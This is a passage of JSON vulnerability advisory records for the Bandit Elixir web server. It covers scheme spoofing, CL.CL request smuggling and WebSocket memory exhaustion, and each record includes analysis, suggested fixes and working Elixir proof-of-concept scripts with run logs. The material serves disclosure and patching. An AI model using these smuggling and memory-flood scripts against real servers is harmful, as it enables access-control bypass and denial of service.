true` cookie flagging, audit logging, CSRF/SameSite gating — is silently misled into treating an attacker's plaintext connection as encrypted.\n\nThe vulnerability was introduced on Jun 8, 2023: https://github.com/mtrudel/bandit/commit/ff2f829326cd5dcf7335939aef9775269d881e28\n\n### Details\nThe bug is in `lib/bandit/pipeline.ex` at `determine_scheme/2` (around line 89). The function takes the request target's scheme and the transport's `secure?` flag and produces the URI scheme used to build the `%Plug.Conn{}`. The third match clause is `{_, scheme} -\u003e scheme` — i.e. whenever the client supplies *any* scheme on the request target, the function returns that scheme verbatim and discards `secure?` entirely.\n\nTwo attacker-controlled inputs reach this code path:\n- HTTP/1.1 absolute-form request targets (RFC 9112 §3.2.2), e.g. `GET https://victim/path HTTP/1.1`.\n- HTTP/2 `:scheme` pseudo-header, which is a free-form string sent by the client.\n\nNeither value is constrained to match the actual transport. On a plaintext TCP listener (or h2c), a client can declare `https` and Bandit will pass `%URI{scheme: \"https\"}` into `Plug.Conn.Adapter.conn/5`, producing `conn.scheme == :https`. There is no guard in `determine_scheme/2`; the discarding of `secure?` is deliberate.\n\n**Suggested fix:** when `secure?` is `true`, force the scheme to `\"https\"`; when `false`, force it to `\"http\"` — or reject the request with `400 Bad Request` if the supplied scheme disagrees with the transport's actual security state. Do not trust the client-supplied scheme.\n\n### PoC\nA self-contained reproduction script is available below. It starts plaintext Bandit 1.10 on `127.0.0.1:4321` with a Plug that echoes `conn.scheme`, opens a plain TCP socket, and sends:\n\n```\nGET https://127.0.0.1:4321/ HTTP/1.1\nHost: 127.0.0.1:4321\nConnection: close\n```\n\nA correctly-behaving server would either coerce `conn.scheme` to `:http` or return `400 Bad Request`. Bandit 1.10.4 returns `:https`, confirming the spoof.\n\n### Impact\nTransport-state spoofing. Any unauthenticated client speaking plaintext HTTP/1.1 or h2c to a Bandit endpoint can cause the application to treat the connection as if it had been TLS-protected. Concrete consequences in real Phoenix/Plug stacks include:\n\n- `Plug.SSL` skipping its HTTP→HTTPS redirect because the request \"already looks secure\", letting plaintext requests bypass the redirect entirely.\n- Cookies emitted with `secure: true` on a plaintext response, where a network attacker could capture them.\n- Audit logs recording requests as having arrived over HTTPS when they did not, breaking forensic and compliance assumptions.\n- Application code that uses `conn.scheme` to gate CSRF/SameSite policy, OAuth redirect URIs, or HSTS-related decisions making the wrong call.\n\nThe vulnerability is unauthenticated and trivially automatable; severity is medium because exploitation requires the deployment to expose a plaintext Bandit listener (or h2c) and to have downstream code that branches on `conn.scheme`.\n\n### Script and Logs\n\n```elixir\n# Bandit reflects the client-supplied scheme into conn.scheme.\n#\n# lib/bandit/pipeline.ex:89 (determine_scheme/2) returns whatever scheme\n# appears on the request target, ignoring the `secure?` flag that records\n# the actual transport state. HTTP/1.1 absolute-form request targets\n# (e.g. `GET https://victim/path HTTP/1.1`) and HTTP/2 `:scheme` are both\n# attacker-controlled strings that flow into this function. Over a\n# plaintext connection, a client can claim `https` and Bandit hands a\n# `%Plug.Conn{scheme: :https}` to the application — even though no TLS\n# was negotiated.\n#\n# Downstream Plug consumers that branch on `conn.scheme` are misled:\n# Plug.SSL's \"already secure, don't redirect\" path, `secure: true` cookie\n# flagging, audit logs, CSRF/SameSite gating, etc.\n#\n# This script starts plaintext Bandit 1.10 on 127.0.0.1:4321, sends one\n# HTTP/1.1 absolute-form request with scheme `https://`, and prints the\n# `conn.scheme` the application observes. A fixed server should report\n# `:http` (or reject the request); the buggy server reports `:https`.\n#\n# Run: elixir scripts/bandit/http1_scheme_spoofing.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule SchemeApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    body = \"This is what the Plug sees: conn.scheme=#{inspect(conn.scheme)}\\n\"\n    Plug.Conn.send_resp(conn, 200, body)\n  end\nend\n\ndefmodule SchemeSpoof do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: SchemeApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    # Absolute-form request target with scheme \"https\" over a plaintext\n    # TCP connection. RFC 9112 §3.2.2 allows absolute-form on any request;\n    # nothing about it implies the connection is TLS.\n    request =\n      \"GET https://127.0.0.1:#{@port}/ HTTP/1.1\\r\\n\" \u003c\u003e\n        \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n        \"Connection: close\\r\\n\" \u003c\u003e\n        \"\\r\\n\"\n\n    log(\"Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    :gen_tcp.close(sock)\n\n    log(\"Server response:\")\n    IO.puts(response)\n\n    cond do\n      response =~ \"conn.scheme=:https\" -\u003e\n        log(\"VULNERABLE — application sees conn.scheme = :https on a plaintext socket.\")\n        log(\"Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.\")\n\n      response =~ \"conn.scheme=:http\" -\u003e\n        log(\"Server forced scheme to :http — bug appears patched.\")\n\n      true -\u003e\n        log(\"Unexpected response shape.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSchemeSpoof.run()\n```\n\n```logs\n12:53:25.297 [info] Running SchemeApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:53:25.305] Sending plaintext HTTP/1.1 request with absolute-form target `https://…/`.\n[10:53:25.316] Server response:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 10:53:25 GMT\ncontent-length: 47\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nThis is what the Plug sees: conn.scheme=:https\n\n[10:53:25.316] VULNERABLE — application sees conn.scheme = :https on a plaintext socket.\n[10:53:25.316] Plug.SSL's `already-secure` branch, `secure: true` cookies, etc. would all trust this.\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T03:47:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j","https://nvd.nist.gov/vuln/detail/CVE-2026-39807","https://github.com/mtrudel/bandit/commit/45feea20dea8af7ffd7245271107b695c040e667","https://cna.erlef.org/cves/CVE-2026-39807.html","https://osv.dev/vulnerability/EEF-CVE-2026-39807","https://github.com/advisories/GHSA-375f-4r2h-f99j"],"source_kind":"github","identifiers":["GHSA-375f-4r2h-f99j","CVE-2026-39807"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-07-27T14:02:13.248Z","epss_percentage":0.00454,"epss_percentile":0.36569,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNzVmLTRyMmgtZjk5as4ABWYG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zNzVmLTRyMmgtZjk5as4ABWYG","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.11.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zNzVmLTRyMmgtZjk5as4ABWYG/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-39807","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-375f-4r2h-f99j"}]},{"uuid":"GSA_kwCzR0hTQS1jNjdyLWdjOWotMnFmN84ABWYF","url":"https://github.com/advisories/GHSA-c67r-gc9j-2qf7","title":"Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate `Content-Length` header","description":"### Summary\n\nBandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two `Content-Length` headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like `Content-Length`, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid `Content-Length` as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* `Content-Length` and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.\n\nThe vulnerability was introduced prior to `v0.1.0 (released Nov 5, 2020)` on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af\n\n### Details\n\n`Bandit.Headers.get_content_length/1` (`lib/bandit/headers.ex`) calls `List.keyfind/3`, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (`Content-Length: 0, 43`) when values differ; the bug is that the multi-line form never reaches that check.\n\n**Fix:** collect every `Content-Length` value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.\n\n### PoC\n\nThe script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with `Content-Length: 0` followed by `Content-Length: 43` and a 43-byte body containing a valid `GET /smuggled HTTP/1.1` request line. Run with `elixir script.exs`\n\nOn Bandit 1.10.4 / Elixir 1.18, default config: two `200 OK` responses on the same TCP connection. First body `method=POST path=/`, second body `method=GET path=/smuggled`. Bandit accepted the malformed request and dispatched the embedded request line as a second request.\n\n### Impact\n\nSpec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.\n\nThe application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.\n\nReal exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.\n\nMost major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.\n\n- Bandit directly on the internet: spec violation, no exploit.\n- Bandit behind a major CDN/LB: almost certainly safe.\n- Bandit behind a custom or unverified proxy: real smuggling exposure, bounded by what that proxy was enforcing.\n\nWorth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 duplicate Content-Length first-wins PoC.\n#\n# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the\n# first Content-Length value and silently ignores additional Content-Length\n# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error\n# and says the recipient MUST treat it as such.\n#\n# This is the classic CL.CL request-smuggling primitive. If a fronting proxy\n# uses the *last* Content-Length while Bandit uses the first (or vice versa),\n# the second \"request\" embedded in the first request's body gets dispatched\n# as a new request on the same keep-alive connection - after the proxy has\n# already applied its access controls.\n#\n# Run: elixir scripts/bandit/http1_duplicate_content_length.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule DemoApp do\n  @behaviour Plug\n\n  import Plug.Conn\n\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    send_resp(conn, 200, \"method=#{conn.method} path=#{conn.request_path}\\n\")\n  end\nend\n\ndefmodule Smuggle do\n  @port 4321\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    request = build_smuggling_request()\n    log(\"Sending #{byte_size(request)}-byte CL.CL request:\\n#{request}\")\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    :ok = :gen_tcp.send(sock, request)\n\n    response = read_all(sock)\n    :gen_tcp.close(sock)\n\n    log(\"Response stream:\\n#{response}\")\n    diagnose(response)\n  end\n\n  # POST with two Content-Length headers, plus a smuggled GET line in the\n  # body. A CL-last frontend would forward the body bytes; Bandit (CL-first)\n  # reads 0 bytes per Content-Length: 0, replies, and the smuggled request\n  # line either gets parsed as a new request on the keep-alive connection\n  # or stays in the buffer.\n  defp build_smuggling_request do\n    smuggled_request = \"GET /smuggled HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n\"\n    smuggled_size = byte_size(smuggled_request)\n\n    \"POST / HTTP/1.1\\r\\n\" \u003c\u003e\n      \"Host: 127.0.0.1\\r\\n\" \u003c\u003e\n      \"Content-Length: 0\\r\\n\" \u003c\u003e\n      \"Content-Length: #{smuggled_size}\\r\\n\" \u003c\u003e\n      \"\\r\\n\" \u003c\u003e\n      smuggled_request\n  end\n\n  defp read_all(sock, accumulated \\\\ \"\") do\n    case :gen_tcp.recv(sock, 0, 2_000) do\n      {:ok, bytes} -\u003e read_all(sock, accumulated \u003c\u003e bytes)\n      {:error, _reason} -\u003e accumulated\n    end\n  end\n\n  # Three observable outcomes:\n  #   - 400 Bad Request -\u003e RFC-conformant rejection (not what current\n  #     Bandit does).\n  #   - Two responses, second one for /smuggled -\u003e Bandit dispatched the\n  #     smuggled request as a second pipelined request.\n  #   - One response -\u003e Bandit accepted Content-Length: 0, the smuggled\n  #     bytes sat in the keep-alive buffer; with a CL-last frontend this\n  #     becomes a smuggled request on the next request boundary.\n  defp diagnose(response) do\n    response_lines = Regex.scan(~r/^HTTP\\/1\\.[01] \\d{3}[^\\r\\n]*/m, response) |\u003e List.flatten()\n    log(\"HTTP/1.x response lines observed: #{length(response_lines)}\")\n    Enum.each(response_lines, fn line -\u003e log(\"  #{line}\") end)\n\n    cond do\n      response =~ ~r/^HTTP\\/1\\.[01] 400/ -\u003e\n        log(\"OK: Bandit rejected duplicate Content-Length (RFC 9112 §6.3 conformant).\")\n\n      response =~ \"/smuggled\" -\u003e\n        log(\"VULNERABLE: smuggled GET /smuggled was processed as a second request.\")\n\n      length(response_lines) == 1 -\u003e\n        log(\"ACCEPTED: Bandit took the first Content-Length (0) and left the\")\n        log(\"smuggled request line in the keep-alive buffer. Combined with a\")\n        log(\"CL-last frontend this becomes request smuggling.\")\n\n      true -\u003e\n        log(\"Inconclusive - see raw response above.\")\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nSmuggle.run()\n```\n\n```logs\n11:52:23.036 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[09:52:23.039] Sending 118-byte CL.CL request:\nPOST / HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 0\nContent-Length: 43\n\nGET /smuggled HTTP/1.1\nHost: 127.0.0.1\n\n\n[09:52:25.057] Response stream:\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 19\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=POST path=/\nHTTP/1.1 200 OK\ndate: Tue, 28 Apr 2026 09:52:22 GMT\ncontent-length: 26\nvary: accept-encoding\ncache-control: max-age=0, private, must-revalidate\n\nmethod=GET path=/smuggled\n\n[09:52:25.057] HTTP/1.x response lines observed: 2\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.057]   HTTP/1.1 200 OK\n[09:52:25.058] VULNERABLE: smuggled GET /smuggled was processed as a second request.\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T03:46:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7","https://nvd.nist.gov/vuln/detail/CVE-2026-39805","https://github.com/mtrudel/bandit/commit/f2ca636eb6df385219957e8934e9fc6efa1630d1","https://cna.erlef.org/cves/CVE-2026-39805.html","https://osv.dev/vulnerability/EEF-CVE-2026-39805","https://github.com/advisories/GHSA-c67r-gc9j-2qf7"],"source_kind":"github","identifiers":["GHSA-c67r-gc9j-2qf7","CVE-2026-39805"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-07-27T14:02:13.248Z","epss_percentage":0.00518,"epss_percentile":0.40534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNjdyLWdjOWotMnFmN84ABWYF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNjdyLWdjOWotMnFmN84ABWYF","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003c 1.11.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNjdyLWdjOWotMnFmN84ABWYF/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-39805","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-c67r-gc9j-2qf7"}]},{"uuid":"GSA_kwCzR0hTQS1wZjk0LTk0bTktNTM2cM4ABWYE","url":"https://github.com/advisories/GHSA-pf94-94m9-536p","title":"Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion","description":"### Summary\nA single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today.\n\n### Details\nThe bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` — simply holding the connection open is enough to pin the bytes.\n\n**Suggested fix:** track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append.\n\n### PoC\nA self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each — also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms.\n\nA correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded.\n\n### Impact\nUnauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.\n\n**Affected by default.** No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not.\n\nThe exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.\n\n### Script and Logs\n\n```elixir\n# Bandit WebSocket fragmented-message accumulation PoC.\n#\n# lib/bandit/websocket/connection.ex:80-95 appends every incoming\n# Continuation{fin: false} frame's payload to connection.fragment_frame.data\n# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*\n# frame; a peer that streams an unbounded number of max-sized continuations\n# without ever setting fin=1 grows the iolist linearly in BEAM memory until\n# the OS kills the process. The eventual IO.iodata_to_binary/1 in the\n# fin=true branch also momentarily doubles peak memory.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,\n# sends one text frame with fin=0 followed by a continuous stream of\n# continuation frames (also fin=0), and samples BEAM memory while doing so.\n# A correct server would close the connection with 1009 once a configured\n# max-message-size is exceeded; the buggy server keeps growing.\n#\n# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"},\n  {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    conn\n    |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, [])\n    |\u003e Plug.Conn.halt()\n  end\nend\n\ndefmodule FragmentFlood do\n  @port 4321\n  @fragment_payload_bytes 1 * 1024 * 1024\n  @fragment_count 4096\n  @sample_every_ms 250\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n    payload_chunk = :binary.copy(\u003c\u003c0x41\u003e\u003e, @fragment_payload_bytes)\n    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)\n    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)\n\n    log(\"Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).\")\n    :ok = :gen_tcp.send(sock, starting_text_frame)\n\n    log(\"Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).\")\n    Enum.each(1..@fragment_count, fn index -\u003e\n      case :gen_tcp.send(sock, continuation_frame) do\n        :ok -\u003e\n          if rem(index, 64) == 0 do\n            log(\"Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).\")\n          end\n\n        {:error, reason} -\u003e\n          log(\"Server closed connection after #{index} continuations: #{inspect(reason)}\")\n          throw(:server_closed)\n      end\n    end)\n\n    log(\"Finished sending. Never sent fin=1 — server should still be holding the iolist.\")\n    Process.sleep(2_000)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  catch\n    :server_closed -\u003e log(\"Server appears to enforce a cap — bug not present or mitigated.\")\n  end\n\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"101 Switching Protocols\"), do: raise(\"WebSocket handshake failed:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;\n  # opcode is the low nibble. Client→server frames must be masked per RFC 6455.\n  defp build_frame(opcode, fin, payload) do\n    fin_bit = if fin, do: 1, else: 0\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n        payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n        true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n      end\n\n    \u003c\u003cfin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(@sample_every_ms)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nFragmentFlood.run()\n```\n\n```logs\n13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[11:04:30.812] Handshake complete.\n[11:04:30.815] [mem] BEAM total = 49 MiB\n[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).\n[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).\n[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).\n[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).\n[11:04:31.065] [mem] BEAM total = 185 MiB\n[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).\n[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).\n[11:04:31.316] [mem] BEAM total = 322 MiB\n[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).\n[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).\n[11:04:31.567] [mem] BEAM total = 463 MiB\n[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).\n[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).\n[11:04:31.818] [mem] BEAM total = 602 MiB\n[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).\n[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).\n[11:04:32.069] [mem] BEAM total = 743 MiB\n[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).\n[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).\n[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).\n[11:04:32.320] [mem] BEAM total = 887 MiB\n[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).\n[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).\n[11:04:32.571] [mem] BEAM total = 1034 MiB\n[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).\n[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).\n[11:04:32.822] [mem] BEAM total = 1179 MiB\n[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).\n[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).\n[11:04:33.073] [mem] BEAM total = 1323 MiB\n[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).\n[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).\n[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).\n[11:04:33.324] [mem] BEAM total = 1466 MiB\n[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).\n[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).\n[11:04:33.575] [mem] BEAM total = 1608 MiB\n[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).\n[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).\n[11:04:33.826] [mem] BEAM total = 1758 MiB\n[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).\n[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).\n[11:04:34.077] [mem] BEAM total = 1901 MiB\n[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).\n[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).\n[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).\n[11:04:34.328] [mem] BEAM total = 2048 MiB\n[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).\n[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).\n[11:04:34.579] [mem] BEAM total = 2191 MiB\n[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).\n[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).\n[11:04:34.830] [mem] BEAM total = 2342 MiB\n[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).\n[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).\n[11:04:35.081] [mem] BEAM total = 2480 MiB\n[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).\n[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).\n[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).\n[11:04:35.332] [mem] BEAM total = 2620 MiB\n[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).\n[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).\n[11:04:35.583] [mem] BEAM total = 2760 MiB\n[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).\n[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).\n[11:04:35.834] [mem] BEAM total = 2903 MiB\n[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).\n[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).\n[11:04:36.085] [mem] BEAM total = 3045 MiB\n[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).\n[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).\n[11:04:36.336] [mem] BEAM total = 3184 